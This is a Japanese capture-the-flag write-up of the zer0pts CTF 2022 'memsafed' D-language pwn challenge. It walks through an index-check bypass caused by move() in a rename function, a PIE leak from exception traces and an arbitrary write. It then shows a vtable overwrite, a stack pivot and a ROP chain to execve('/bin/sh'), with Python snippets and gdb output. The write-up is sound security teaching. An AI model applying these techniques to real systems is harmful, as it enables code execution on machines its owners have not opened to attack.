# memsafed@zer0pts CTF 2022
###### tags: `writeup`,`ctf`,`pwn`
D言語を使ったpwn問. C/C++以外のpwnをやりたくて探してたら見つけた.
問題/Writeupともに動作確認できたので供養.
## 参考にしたWriteup
https://kileak.github.io/ctf/2022/zer0pts-memsafed/
https://hackmd.io/@ptr-yudai/H13yUaISY#MemSafeD---zer0pts-CTF-2022 (Author's Writeup)
## 配布物
ビルド済みのバイナリの他に, D言語のソースコードと`Makefile`もついていた.
ライブラリや`Dockerfile`は無い.
ソースコードは以下の通り.
```D
import std.stdio;
import std.format;
import std.range;
import std.typecons;
import std.algorithm;
// @safe ensures memory safety, yay!
// https://dlang.org/spec/memory-safe-d.html
@safe:
/* Polygon struct */
alias vertex = Tuple!(int, int);
struct Polygon
{
private:
vertex[] _vertices; // List of vertex
public:
this(ulong n) {
if (n <= 2) // Dots and lines are not polygon
throw new Exception("Invalid number of vertices");
_vertices = new vertex[n];
}
~this() {}
/* Convert this structure into string (@trusted for sink) */
void toString(scope void delegate(const(char)[]) sink,
FormatSpec!char fmt) const @trusted {
if (fmt.spec != 's')
throw new Exception("Unknown format specifier: %" ~ fmt.spec);
sink("[ Polygon: ");
foreach (vertex v; _vertices) {
sink(format("(%d,%d) ", v[0], v[1]));
}
sink("]");
}
/* Set the position of a vertex */
void set_vertex(ulong index, vertex v) {
if (index > _vertices.length - 1)
throw new Exception("Invalid index");
_vertices[index] = v;
}
}
/* We need to wrap `readf` in a trusted function
because it's @system and not thread safe */
vertex read_vertex(string msg) @trusted {
int x, y;
write(msg);
readf("(%d, %d)\n", x, y);
return tuple(x, y);
}
ulong read_ul(string msg) @trusted {
ulong i;
write(msg);
readf("%d\n", i);
return i;
}
string read_str(string msg) @trusted {
string s;
write(msg);
readf("%s\n", s);
return s;
}
/* Create a new polygon */
void polygon_new(ref Polygon[string] ps) {
string name = read_str("Name: ");
ulong n = read_ul("Number of vertices: ");
Polygon p = Polygon(n);
for (ulong i = 0; i < n; i++) {
vertex v = read_vertex(format("vertices[%d] = ", i));
p.set_vertex(i, v);
}
ps[name] = p;
}
/* Show a polygon */
void polygon_show(ref Polygon[string] ps) {
string name = read_str("Name: ");
if (!(name in ps)) // Not found
throw new Exception("No such polygon: " ~ name);
writeln(ps[name]);
}
/* Rename a polygon */
void polygon_rename(ref Polygon[string] ps) {
string old_name = read_str("(old) Name: ");
string new_name = read_str("(new) Name: ");
if (!(old_name in ps)) // Not found
throw new Exception("No such polygon: " ~ old_name);
Polygon p;
move(ps[old_name], p); // Make a copy
if (new_name in ps) {
// Ask when new name already exists
writeln("Do you want to overwrite the existing polygon?");
writeln(new_name, " --> ", ps[new_name]);
string answer = read_str("[y/N]: ");
if (answer[0] != 'Y' && answer[0] != 'y')
return;
}
// Remove original polygon and move to target
ps.remove(old_name);
ps[new_name] = p;
}
/* Edit a vertex in a polygon */
void polygon_edit(ref Polygon[string] ps) {
string name = read_str("Name: ");
if (!(name in ps)) // Not found
throw new Exception("No such polygon: " ~ name);
ulong index = read_ul("Index: ");
vertex v = read_vertex(format("vertices[%d] = ", index));
ps[name].set_vertex(index, v);
}
/* Delete a polygon */
void polygon_delete(ref Polygon[string] ps) {
string name = read_str("Name: ");
if (!(name in ps)) // Not found
throw new Exception("No such polygon: " ~ name);
ps.remove(name);
}
/* Entry point! (@trusted for setvbuf) */
void main() @trusted
{
Polygon[string] ps;
stdin.setvbuf(0, _IONBF);
stdout.setvbuf(0, _IONBF);
writeln(" o o");
writeln(" / __ \\");
writeln(" \\|@@\\/");
writeln(" || \\\\");
writeln(" ||_//");
writeln(" |__/");
writeln(" / \\");
writeln(" `o b");
writeln("1. New");
writeln("2. Show");
writeln("3. Rename");
writeln("4. Edit");
writeln("5. Delete");
while (true) {
ulong choice;
try {
choice = read_ul("> ");
} catch (Exception e) {
break;
}
try {
switch (choice) {
case 1: polygon_new(ps); break;
case 2: polygon_show(ps); break;
case 3: polygon_rename(ps); break;
case 4: polygon_edit(ps); break;
case 5: polygon_delete(ps); break;
default: return;
}
} catch (Exception e) {
writeln("[ERROR] ", e);
}
}
}
```
また`Makefile`は以下(`Not Important`と書いてあるのでExploitには不要?私は使わなかった)
```Makefile!
# Not important but just for your reference:
# - https://dlang.org/download.html (v2.098.0)
# - https://dlang.org/dmd-linux.html
chall: main.d
dmd main.d -of=chall -O -release -inline -check=off
mv chall ../distfiles
cp main.d ../distfiles
cp Makefile ../distfiles
```
## 初動解析
バイナリの`checksec`はこんな感じ
```shell=
root@Ubu2004x64:now# checksec /mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall
[!] Missing file `rp-lin-x64-v2`
GEF for linux ready, type `gef' to start, `gef config' to configure
197 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from /mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall...
(No debugging symbols found in /mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall)
[+] checksec for '/mnt/hgfs/ar_ctf/zer0pts_ctf_2022/memsafed/chall'
Static/Dynamic : Dynamic
Stripped : No (The symbol remains)
Canary : Disabled
NX : Enabled
PIE : Enabled
RELRO : Full RELRO
Fortify : Not Found
Intel CET : Not Found (endbr64/endbr32 is not found)
RPATH : Not Found
RUNPATH : Not Found
System ASLR : Enabled (randomize_va_space: 2)
root@Ubu2004x64:now#
```
+ `Canary`無効
+ `NX`有効
+ `Full-RELRO`
+ `PIE`有効
さて`D`言語の言語仕様などよくわかってないが, こういうよくわからない言語でビルドされたpwnは範囲外参照を真っ先に疑う.今回の問題で使えそうな関数は, `set_vertex`関数だろう.
しかし`set_vertex`関数の定義を見てみると, `index`に長さチェックがある.
```D
void set_vertex(ulong index, vertex v) {
if (index > _vertices.length - 1)★_vertices.lengthを偽装可能?
throw new Exception("Invalid index");
_vertices[index] = v;
}
```
メンバ`_vertices`は, `Polygon`オブジェクトが確保された時, 長さが決定するようだ.
```d
public:
this(ulong n) {
if (n <= 2) // Dots and lines are not polygon
throw new Exception("Invalid number of vertices");
_vertices = new vertex[n];★n > 2なら長さnの配列を作成している.
}
```
## バグ解析
わかりにくいが, `polygon_rename`関数にUAFがある.
:::success
2022/12/09 追記
これ, UAFではなく、NULL Pointer Dereferenceと呼ぶらしい.
:::
```d
void polygon_rename(ref Polygon[string] ps) {
string old_name = read_str("(old) Name: ");
string new_name = read_str("(new) Name: ");
if (!(old_name in ps)) // Not found
throw new Exception("No such polygon: " ~ old_name);
Polygon p;
move(ps[old_name], p); // Make a copy
if (new_name in ps) {
writeln("Do you want to overwrite the existing polygon?");
writeln(new_name, " --> ", ps[new_name]);
string answer = read_str("[y/N]: ");
// ★BUG:
// ps[old_name]は初期化されているけれど,
// ps.removeを呼び出さなければ, ps[old_name]はまだ参照可能.
if (answer[0] != 'Y' && answer[0] != 'y')
return;
}
ps.remove(old_name);
ps[new_name] = p;
}
```
`// Make a copy`とコメントが記載されているが, `move`関数はコピー元のオブジェクトを初期化してしまう.
:::warning

:::
ロジック的には、`new_name in ps`が真かつ上書きしない場合, `move`せずに`return`するべきだが, 上書き要否にかかわらず`move`するため, `ps[old_name]`は初期化された`Polygon`オブジェクトで上書きされる.
初期化された,`Polygon`オブジェクトは`_vertices.length == 0`であるため, `._vertices.length - 1 == -1`となり, `set_vertex`関数の
```D
if (index > 0xffff_ffff_ffff_ffff)
throw new Exception("Invalid index");
```
をバイパスできる.
整理すると`set_vertex`のインデックスチェックをバイパスする方針は以下の通りだ.
1. `hoge`(適当なキー)で`polygon`を作成する
2. `rename('hoge', 'hoge')`で上書きしないで関数を抜ける.
3. `hoge.set_vertex(index. vertex)`を呼び出す.
これで範囲外書き込みが可能になった.
## Exploit方針
#### アドレスリーク
PIEなので, コードのベースアドレスをリークしたい.
`main`関数で例外をすべて`writeln`(標準出力に書き出し)していることに注目しよう.
```D
try {
switch (choice) {
case 1: polygon_new(ps); break;
case 2: polygon_show(ps); break;
case 3: polygon_rename(ps); break;
case 4: polygon_edit(ps); break;
case 5: polygon_delete(ps); break;
default: return;
}
} catch (Exception e) {
writeln("[ERROR] ", e); // ★ここで例外をstdoutに書き出し
}
```
D言語では例外にアドレスが載ってくるらしく, 適当に例外を発生させればすぐにリークできる.
私は, 存在しない要素の`vertex`を`delete`しようとして以下の結果を得た.
```shell=
root@Ubu2004x64:now# nc localhost 1337
o o
/ __ \
\|@@\/
|| \\
||_//
|__/
/ \
`o b
1. New
2. Show
3. Rename
4. Edit
5. Delete
> 5
Name: fuga
[ERROR] object.Exception@main.d(139): No such polygon: fuga
----------------
??:? _Dmain [0x55d077587307] ## ★デバッガで見るとわかるが, これはコード領域のアドレス.
>
```
つまり以下のようなコードでバイナリのベースを抜くことができる.
```python
"""
gef> codebase
------------------------------------------------------------- Code base -------------------------------------------------------------
$codebase = 0x55d0774e5000
$piebase = 0x55d0774e5000
gef> p/x 0x55d077587307 - $codebase
$1 = 0xa2307
gef>
"""
ofs_dmain = 0xa2307
sendline(f, '5')
sendline_after(f, 'Name:', 'fuga')
leak = readuntil(f, '>')
codebase = 0
for line in leak.decode().splitlines():
m = re.search('_Dmain \[(\S+)\]', line)
if m:
leak = int(m.group(1), 16)
codebase = leak - ofs_dmain
break
dbg("codebase")
```
実際に打ち込むと以下のような感じ. (`localhost:1337`でsocatを立てている.)
```shell=
## 別端末で, socat TCP-L:1337,reuseaddr,fork SYSTEM:"./chall"
root@Ubu2004x64:now# ./x.py
[*] local-> 127.0.0.1 1337
[*] codebase: 0x558f46e86000
```
これでアドレスリークを達成できた.
### 任意書き込みの作成
次に, 任意のアドレスへの書き込みPrimitiveを作りたい.
まずは`polygon`クラス内部でどのように, `_vertices`メンバがメモリ確保しているのかを確かめよう.
ソースコード上では, `_vertices`は`(int, int)`の`Tuple`で確保されているのがわかる.
```D
alias vertex = Tuple!(int, int);
```
[D言語の公式サイト](https://dlang.org/spec/type.html#basic-data-types)に基本的なデータ型の説明がある.
Dには`int`/`unsigned int`の区別が存在し, `int`型は32bitの符号付き整数とされている.
そのため, 1つの`vertex`は以下のようなメモリ配置になっていると推測できる.
> 64bit かつリトルエンディアン想定
```
`Polygon`クラスを,
vertex[0] = (0xdead00, 0xcafe00) # どちらも32bitのsigned intで正の値.
vertex[1] = (0xdead01, 0xcafe01)
vertex[2] = (0xdead02, 0xcafe02)
vertex[3] = (0xdead03, 0xcafe03)
と確保したとする.
以下のようなメモリレイアウトなのではないか?
|<------ QWORD -------->|
vertex[0] : | 0xcafe00 | 0xdead00 | <-- リトルエンディアンなので右から左へ
vertex[1] : | 0xcafe01 | 0xdead01 |
vertex[2] : | 0xcafe02 | 0xdead02 |
vertex[3] : | 0xcafe03 | 0xdead03 |
```
例えば, `vertex[0]`を`unsigned long`キャストしてみると, `(0xdead00, 0xcafe00)`はメモリ上で`0x00cafe0000dead00`と確保されていると予想できる.
実際にデバッガで試してみた結果が以下.
```
gef> search-pattern 0x00cafe0000dead00 (unsigned longキャストしたvertex[0])
[+] Searching '\x00\xad\xde\x00\x00\xfe\xca\x00' in memory
[+] In (0x7f39acdf1000-0x7f39acef4000), permission=rw-
0x7f39acdf5000 - 0x7f39acdf5008 -> "\x00\xad\xde\x00\x00\xfe\xca\x00"
gef> x/8gx 0x7f39acdf5000(これは私の環境ではlibc直上のセグメント)
0x7f39acdf5000: 0x00cafe0000dead00 0x00cafe0100dead01★vertex[0], vertex[1]
0x7f39acdf5010: 0x00cafe0200dead02 0x00cafe0300dead03★vertex[2], vertex[3]
0x7f39acdf5020: 0x0000000000000000 0x2000000000000000
0x7f39acdf5030: 0x0000000000000004 0x00007f39acdf2010
gef>
```
予想はあってそうだ. このことから, `vertex[i]`に任意のQWORDな値を書き込む場合, 次のように書くことができる.
```python
def u2s(x):
""" convert unsinged int -> signed int (DWORD) """
tmp = struct.pack('<I', x)
return struct.unpack('<i', tmp)[0]
def dpack(a):
l = u2s(a&0xffffffff)
h = u2s(a >> 32)
#print(f"({h:#x}, {l:#x})")
return (l, h)
```
さて, 次に`set_vertex`で指定する`index`がどのようにアドレッシングされるのか見ていく.
上記の範囲外参照で, `Polygon`
```
edit('hoge', 0xdeadbeef, dpack(0xcafebabe))
```
とすると, 関数`_D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq`内でクラッシュする.
関数にブレークポイントを仕掛けて, ブレークした時の`context`を見ると以下のような感じ.
```
[ Legend: Modified register | Code | Heap | Stack | String ]
----------------------------------------------------------------------------------------------------------------------- registers ----
$rax : 0xcafebabe
$rbx : 0xdeadbeef
$rcx : 0xffffffffffffffff
$rdx : 0x0
$rsp : 0x00007fffffffde48 -> 0x00005555555f6203 <D main+0x72b> -> 0x9d8d4800000144e9
$rbp : 0x00007fffffffe010 -> 0x00007fffffffe030 -> 0x00007fffffffe070 -> 0x00007fffffffe0a0 -> ...
$rsi : 0x00007fffffffdfc8 -> 0x00000000cafebabe★
$rdi : 0x6f56df778 ★0xdeadbeef * 8
$rip : 0x0000555555600804 <_D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq> -> 0x8b08890e8bf88948
$r8 : 0xd117a78f8daeb4c8
$r9 : 0x00007ffff7c7e000 -> 0xd117a78f8daeb4c8
$r10 : 0x00005555556b60b0 <_D4core8internal2gc4impl12conservativeQw7binsizeyG15s> -> 0x0040003000200010
$r11 : 0x246
$r12 : 0x00007ffff7c7c040 -> 0x0000000000000000
$r13 : 0x6f56df778
$r14 : 0x00007fffffffdf90 -> 0x00000000cafebabe
$r15 : 0x00007fffffffdf94 -> 0xffffdf8000000000
$eflags: 0x282 [identification align virtualx86 resume nested overflow direction INTERRUPT trap SIGN zero adjust parity carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
--------------------------------------------------------------------------------------------------------------------------- stack ----
0x00007fffffffde48|+0x0000(000): 0x00005555555f6203 <D main+0x72b> -> 0x9d8d4800000144e9 <- retaddr[1] <- $rsp
0x00007fffffffde50|+0x0008(001): 0xffffffffffffffff
0x00007fffffffde58|+0x0010(002): 0x00007fffffffe210 -> 0x00007fffffffe2a0 -> 0x00007fffffffe2c0 -> ...
0x00007fffffffde60|+0x0018(003): 0x00007fffffffe230 -> 0x0000555555673830 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x00007fffffffde68|+0x0020(004): 0x00007fffffffe107 -> 0x0055555562905f00
0x00007fffffffde70|+0x0028(005): 0x0000000000000001
0x00007fffffffde78|+0x0030(006): 0x0000000000000001
0x00007fffffffde80|+0x0038(007): 0x00007ffff7c7d000 -> 0x0000000000000008
--------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
0x555555600800 5d <_D3std4conv__T8textImplTAyaTQeTkTQjTmTQoZQBbFNaNbNfQBbkQBfmQBjZQBn+0xf0> pop rbp
0x555555600801 c3 <_D3std4conv__T8textImplTAyaTQeTkTQjTmTQoZQBbFNaNbNfQBbkQBfmQBjZQBn+0xf1> ret
0x555555600802 0000 <NO_SYMBOL> add BYTE PTR [rax], al
-> 0x555555600804 4889f8 mov rax, rdi
0x555555600807 8b0e mov ecx, DWORD PTR [rsi]
0x555555600809 8908 mov DWORD PTR [rax], ecx
0x55555560080b 8b5604 mov edx, DWORD PTR [rsi+0x4]
0x55555560080e 895004 mov DWORD PTR [rax+0x4], edx
0x555555600811 c3 ret
------------------------------------------------------------------------------------------------------------------------- threads ----
[#0] Id 1, Name: "chall", stopped 0x555555600804 in _D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq (), reason: BREAKPOINT
--------------------------------------------------------------------------------------------------------------------------- trace ----
[#0] 0x555555600804 -> _D3std8typecons__T5TupleTiTiZQl__T8opAssignTSQBrQBq__TQBkTiTiZQBsZQBgMFNaNbNcNiNfKQBmZQBq()
[#1] 0x5555555f6203 -> D main()
--------------------------------------------------------------------------------------------------------------------------------------
gef>
```
この関数は, 実質, `mov QWORD PTR [rdi], QWORD PTR [rsi]`を実施していることに等しい.
また,2つのレジスタ`rdi/rsi`の値は,
`rdi` : `edit`関数呼び出し時の`index`
`rsi` : `edit`関数呼び出し時の`vertex=(int<<32 | int)`
として制御可能であるため, これで任意書き込みができたことになる.
整理すると, 以下のような感じで任意書き込みができる.
1. `new`で適当にPolygonオブジェクトを作成
- 名前を`"hoge"`とする.
3. `rename`で`old_name = new_name = "hoge"`として`Overwrite`しないを選択.
4. `edit`でPolygon`"hoge"`に値を書き込む時,
- `index = <書き込みたいアドレス> // 8`
- `vertex = (<書き込みたいアドレス&0xffff_ffff>, <書き込みたいアドレス>>32>)`
リークまで合わせて, コードは以下のようになる.
```python=
def dpack(a):
def u2s(x):
tmp = struct.pack('<I', x)
return struct.unpack('<i', tmp)[0]
l = u2s(a&0xffffffff)
h = u2s(a >> 32)
#print(f"({h:#x}, {l:#x})")
return (l, h)
menu()
## leak(delete)
sendline(f, '5')
sendline_after(f, 'Name:', 'fuga')
leak = readuntil(f, '>')
codebase = 0
for line in leak.decode().splitlines():
m = re.search('_Dmain \[(\S+)\]', line) # 例外からリークしたアドレスを取得
if m:
leak = int(m.group(1), 16)
codebase = leak - ofs_dmain
break
## arbitrary address write
new('hoge',
[
(0x00dead00, 0x00cafe00), # vertex[0]: ここの値は適当で良い.
(0x00dead01, 0x00cafe01), # vertex[1]: ここの値は適当で良い.
(0x00dead02, 0x00cafe02), # vertex[2]: ここの値は適当で良い.
(0x00dead03, 0x00cafe03), # vertex[3]: ここの値は適当で良い.
]
)
rename('hoge', 'hoge', overwrite=False)
edit('hoge', 0xdeadbeef, dpack(0xcafebabe)) # *0xdeadbeef = 0xcafebabe
```
### 任意コード実行へ
RIP制御に持ち込むために, どこを書き換えるのが良いだろうか?
`NX`が有効なので`ROP`に持ち込むのが正攻法だが, 今回の問題ではlibcやライブラリは与えられていない. またバイナリ自身も`PIE`/`Full RELRO`なので,`one_gadget`や`ret2dlresolve`による関数の偽装解決も難しそうだ.
ROPガジェットを探すと`pop rax; ret`と`syscall`命令が存在するため, 素直に `execve("/bin/sh\0", NULL, NULL)`に持ち込むことにする.
バイナリのサイズが大きいこと, コードベースのリークを達成できていることから,
Writable領域に偽装`vtable`を作って, 呼ばれやすい`vtable`ポインタをそちらに向けるのが良いだろう.
[Writeup](https://kileak.github.io/ctf/2022/zer0pts-memsafed/)によると, シェルの起動に持ち込むためには`$codebase+0x14c088`を書き換えるのがよいらしい.

> `IDA`でめぼしいシンボルを漁ったところ`vtable`のポインタは他にもありそうだったが, なぜこの`vtable`に着目したかはよくわかっていない.
`_vertices`の確保時に呼び出される`vtable`ポインタらしく, 上記のリークまで実施後, 書き換えると`new`操作時にクラッシュする. クラッシュ時の`context`は以下の通り.

:::spoiler 見にくいのでテキストも載せておく.
```
[ Legend: Modified register | Code | Heap | Stack | String ]
------------------------------------------------------------------------------------------------------------------------------------------ registers ----
$rax : 0x00007ffff7c7d000 -> 0x0000000000000008
$rbx : 0x00007fffffffde80 -> 0x00007ffff7c7d000 -> 0x0000000000000008
$rcx : 0x00005555556a6b50 <internal+0xa0> -> 0x00005555556a6b50 <internal+0xa0> -> [loop detected]
$rdx : 0x10
$rsp : 0x00007fffffffdbd8 -> 0x00005555556281c0 <_aaGetX+0xb0> -> 0xff789d8948c38948
$rbp : 0x00007fffffffdcd0 -> 0x00007fffffffdd10 -> 0x00007fffffffde40 -> 0x00007fffffffe010 -> ...
$rsi : 0x00007fffffffdd50 -> 0x0000000000000005
$rdi : 0x00005555556a6b50 <internal+0xa0> -> 0x00005555556a6b50 <internal+0xa0> -> [loop detected]
$rip : 0x0
$r8 : 0x00007fffffffdce8 -> 0x9af547cfed6be800
$r9 : 0x614d0168
$r10 : 0x0
$r11 : 0x246
$r12 : 0x00007fffffffdce8 -> 0x9af547cfed6be800
$r13 : 0x00005555556a6b50 <internal+0xa0> -> 0x00005555556a6b50 <internal+0xa0> -> [loop detected]
$r14 : 0x5
$r15 : 0x00005555556a0070 <initializer for TypeInfo_HAyaS4main7Polygon> -> 0x00005555556a2210 <vtable for TypeInfo_AssociativeArray> -> 0x00005555556a2150 <ClassInfo for TypeInfo_AssociativeArray> -> 0x00005555556a2410 <vtable for TypeInfo_Class> -> ...
$eflags: 0x10206 [identification align virtualx86 RESUME nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
---------------------------------------------------------------------------------------------------------------------------------------------- stack ----
0x00007fffffffdbd8|+0x0000(000): 0x00005555556281c0 <_aaGetX+0xb0> -> 0xff789d8948c38948 <- $rsp
0x00007fffffffdbe0|+0x0008(001): 0x00007fffffffdc60 -> 0x00007fffffffdd10 -> 0x00007fffffffde40 -> ...
0x00007fffffffdbe8|+0x0010(002): 0x0000000000000003
0x00007fffffffdbf0|+0x0018(003): 0x00007ffff7c78230 -> 0x0000000500000004
0x00007fffffffdbf8|+0x0020(004): 0x0000000000000004
0x00007fffffffdc00|+0x0028(005): 0x0000000000000005
0x00007fffffffdc08|+0x0030(006): 0x0000000000000004
0x00007fffffffdc10|+0x0038(007): 0x0000000000000001
---------------------------------------------------------------------------------------------------------------------------------------- code:x86:64 ----
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x0
-------------------------------------------------------------------------------------------------------------------------------------------- threads ----
[#0] Id 1, Name: "chall", stopped 0x0 in ?? (), reason: SIGSEGV
---------------------------------------------------------------------------------------------------------------------------------------------- trace ----
---------------------------------------------------------------------------------------------------------------------------------------------------------
gef>
```
:::
`_aaGetX`関数内でクラッシュしていることがわかる.
```asm
gef> bt
#0 0x0000000000000000 in ?? ()
#1 0x00005555556281c0 in _aaGetX ()
#2 0x0000555555628109 in _aaGetY ()
#3 0x00005555555f5072 in _D4main11polygon_newFNfKHAyaSQBb7PolygonZv ()
#4 0x00005555555f5d23 in D main ()
gef> x/50i _aaGetX
~ 略 ~
0x5555556281b1 <_aaGetX+161>: mov r13,QWORD PTR [r15+0x18]
0x5555556281b5 <_aaGetX+165>: mov rdi,r13
0x5555556281b8 <_aaGetX+168>: mov rcx,QWORD PTR [r13+0x0]
0x5555556281bc <_aaGetX+172>: rex.W call QWORD PTR [rcx+0x28]★ここで飛んでクラッシュ.
0x5555556281c0 <_aaGetX+176>: mov rbx,rax
```
この時, `rcx`が制御可能な制御可能なアドレスを指していた.
ROPに持ち込むために, `rcx`をつかってStack Pivotするガジェットを探すと,
`$codebase+0x0a459a`にいい感じのガジェットが見つかる.
```gdb
gef> codebase
----------------------------------------------------------------------- Code base -----------------------------------------------------------------------
$codebase = 0x555555554000
$piebase = 0x555555554000
gef> x/6i $codebase+0x0a459a
0x5555555f859a <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+106>: push rcx
0x5555555f859b <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+107>: or BYTE PTR [rax-0x75],cl
0x5555555f859e <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+110>: pop rsp
0x5555555f859f <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+111>: and al,0x8
0x5555555f85a1 <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+113>: add rsp,0x18
0x5555555f85a5 <_D3std5range10primitives__T8popFrontTaZQmFNaNbNiNeMKANgaZv+117>: ret
gef>
```
あとは、ROPして上記のガジェットから`Stack Pivot`→`execve("/bin/sh", NULL, NULL)`すればよい.
### Exploit
最終的なExploitは以下の通り.
{%gist 1u991yu24k1/5668b1f8ffc230bbbffea549fa1864d6 %}